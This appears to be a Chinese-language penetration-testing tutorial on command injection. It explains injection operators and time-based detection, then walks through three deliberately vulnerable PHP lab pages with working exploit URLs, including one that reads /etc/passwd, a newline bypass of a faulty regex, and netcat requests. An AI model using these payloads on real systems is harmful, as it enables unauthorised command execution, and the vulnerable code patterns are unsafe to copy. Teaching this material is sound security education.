首页 > 其他分享 >web渗透测试(12):命令注入

web渗透测试(12):命令注入

时间:2023-08-03 11:22:05浏览次数:49  
标签:web 12 重定向 渗透 ip 命令 使用 id 注入

命令注入来自缺乏对作为命令一部分使用的信息的过滤和编码。最简单的示例来自使用函数system(运行命令)并将HTTP参数作为此命令的参数。

 

有很多方法可以利用命令注入:

  • 例如,通过在反引号内注入命令 `id`
  • 通过将第一个命令的结果重定向到第二个命令 | id
  • 如果由第一个成功运行的另一个命令:&& id(其中,&需要被编码)
  • 通过运行另一个命令,如果第一个命令失败(并确保它执行:( error || id这里error只是导致错误)。

 

也可以使用相同的值技术来执行这种类型的检测。例如,您可以替换123为`echo 123`。反引号内的命令将首先执行,并返回与命令使用的完全相同的值。

 

您还可以使用基于时间的向量来检测这些类型的漏洞。您可以使用在服务器上处理需要时间的命令(存在拒绝服务的风险)。您还可以使用该命令sleep告诉服务器在继续之前等待一段时间。例如,使用sleep 10。

 

Example 1

<?php require_once("../header.php"); ?>
<pre>
<?php
  system("ping -c 2 ".$_GET['ip']);
?>
</pre>
<?php require_once("../footer.php"); ?>

 

第一个例子是一个简单的命令注入。开发人员没有执行任何输入验证,您可以在ip参数后直接注入命令。

 

基于上面提到的技术,您可以使用有效负载&& cat /etc/passwd( &需编码)来查看内容/etc/passwd。

http://192.168.1.10/commandexec/example1.php?ip=127.0.0.1%26%26%20cat%20/etc/passwd

 

 

Example 2

<?php require_once("../header.php"); ?>
<pre>
<?php
  if (!(preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}.\d{1,3}$/m', $_GET['ip']))) {
     die("Invalid IP address");
  }
  system("ping -c 2 ".$_GET['ip']);
?>
</pre>
<?php require_once("../footer.php"); ?>

 

此示例验证提供的参数,但不正确。正如我们之前看到的SQL注入一样,使用的正则表达式是多行的。使用我们在SQL注入中看到的相同技术,您可以轻松获得代码执行。

 

这里的好处是你甚至不需要注入分隔符。您只需添加编码的新行(%0a)然后输入您的命令即可。例如:%0als /。

http://192.168.1.10/commandexec/example2.php?ip=127.0.0.1%0als%20/

 

 

Example 3

<?php require_once("../header.php"); ?>
<pre>
<?php
  if (!(preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}.\d{1,3}$/', $_GET['ip']))) {
     header("Location: example3.php?ip=127.0.0.1");
  }
  system("ping -c 2 ".$_GET['ip']);
?>
</pre>
<?php require_once("../footer.php"); ?>

 

这个例子和前一个例子非常相似; 唯一的区别是开发人员没有正确停止脚本。 在PHP中,如果提供的某个值与某些安全性约束不匹配,则可以轻松简单地重定向用户,即调用函数header。 但是,即使浏览器将被重定向,此函数也不会停止执行流程,并且脚本仍将使用危险参数运行。 开发人员需要在调用函数header之后调用函数die,以避免此问题。

 

您无法在浏览器中轻松利用此漏洞,因为您的浏览器将遵循重定向,并且不会显示重定向页面。要利用此问题,您可以使用telnet:

% telnet vulnerable 80 
GET /commandexec/example3.php?ip=127.0.0.1|uname+-a HTTP/1.0

 

或使用netcat:

% echo "GET /commandexec/example3.php?ip=127.0.0.1|uname+-a HTTP/1.0\r\n" | nc vulnerable 80

如果仔细查看响应,您将看到获得302重定向,但您可以uname -a在响应正文中看到命令的结果。

标签:web,12,重定向,渗透,ip,命令,使用,id,注入
From: https://www.cnblogs.com/shanhubei/p/17602801.html

相关文章

  • 如何用DHTMLX组件为Web应用创建甘特图?(二)
    dhtmlxGantt是用于跨浏览器和跨平台应用程序的功能齐全的Gantt图表。可满足项目管理应用程序的所有需求,是最完善的甘特图图表库。甘特图仍然是项目管理应用程序中最需要的工具之一,DHTMLXGantt组件提供了能提升研发甘特图功能所需的重要工具。在这篇文章中,您将学习如何添加一个基本......
  • .NET Core WebAPI中使用Swagger(完整教程)
    一、Swagger简介1.1-什么是Swagger?Swagger是一个规范且完整的框架,用于生成、描述、调试和可视化Restfull风格的Web服务。Swagger的目标是对RestAPI定义一个标准且和语言无关的接口,可以让人和计算机拥有无需访问源码、文档或网络流量监控就可以发现和连接服务的能力。当通过......
  • SD-WebUI安装的时候的小波折
    1.外面与里面不一样 小小的眼睛大大的疑惑.jpg进到stable-diffusion-webui选中venv点击Delete后运行webui.bat就会重新创建了(没有这个文件夹就是没有虚拟环境,要还有错就继续找么(;´д`)ゞ)配置:SD-WebUI的.bat脚本报版本不对,外部查看是对的这种情况是因为python有个东西:venv......
  • 《Web安全基础》03. SQL 注入
    @目录1:简要SQL注入2:MySQL注入2.1:信息获取2.2:跨库攻击2.3:文件读写2.4:常见防护3:注入方法3.1:类型方法明确3.2:盲注3.3:编码3.4:二次注入3.5:DNSlog注入3.6:堆叠注入4:WAF绕过4.1:WAF简介4.2:绕过方法5:其他数据库注入5.1:Access5.2:SqlServer5.3:PostgreSQL5.4:Oracle5.5:MongoDB本系列侧......
  • Canvas好难,如何让研发低成本实现Web端流程图设计功能
    摘要:本文由葡萄城技术团队于博客园原创并首发。转载请注明出处:葡萄城官网,葡萄城为开发者提供专业的开发工具、解决方案和服务,赋能开发者。前言相信大家在职场中经常会用到流程图,在互联网行业,绘制流程图不论在产品的设计阶段,还是后期优化业务流程的阶段,都有着巨大的价值。事实上,......
  • .NET Core WebAPI中使用Swagger(完整教程)
    一、Swagger简介1.1-什么是Swagger?Swagger是一个规范且完整的框架,用于生成、描述、调试和可视化Restfull风格的Web服务。Swagger的目标是对RestAPI定义一个标准且和语言无关的接口,可以让人和计算机拥有无需访问源码、文档或网络流量监控就可以发现和连接服务的能力。当通过S......
  • 优秀测试同学的12条准则
    一、独立且公正测试过程和开发过程是独立的,彼此之间没有重叠或冲突,而是互相补充。测试人员要保持公正的态度,不轻易被业务、产品、开发说服,因为他们未必想的全。对于质量底线,要坚守,对于严重缺陷,要勇于提出反对意见。二、质量第一,效率第二质量是生命线,测试的目标是保障产品交付......
  • ORA-01200
    客户XXX数据库服务器掉电,数据库startup启动数据库遇到ORA-01200错误,信息如下:SQL>startup;ORACLEinstancestarted.TotalSystemGlobalArea997953536bytesFixedSize2259400bytesVariableSize515900984bytesDatabaseBuffers......
  • UOJ312 【UNR #2】梦中的题面
    好题。容斥后插板,要计算的形如\(\binom{Sum}{m}\)的样子。这个\(Sum\)可能会很大,不能直接设进状态,但是我们\(dp\)需要\(Sum\)计算组合数。解决方法是用范德蒙德卷积\[\sum_{i=0}^{k}{\binom{n}{i}\binom{m}{k-i}}=\binom{n+m}{k}\]设\(dp_i\)表示当前所有\(\binom......
  • 129.动态编译与静态编译
    129.动态编译与静态编译1.静态编译静态编译是将程序代码和库函数一起编译成一个可执行文件的过程。在静态编译过程中,程序代码和库函数的代码被组合在一起,形成一个独立的可执行文件,该文件可以在任何系统上运行,因为它包含了所有所需的代码和库函数。1.1优点:1.程序在运行时不需要......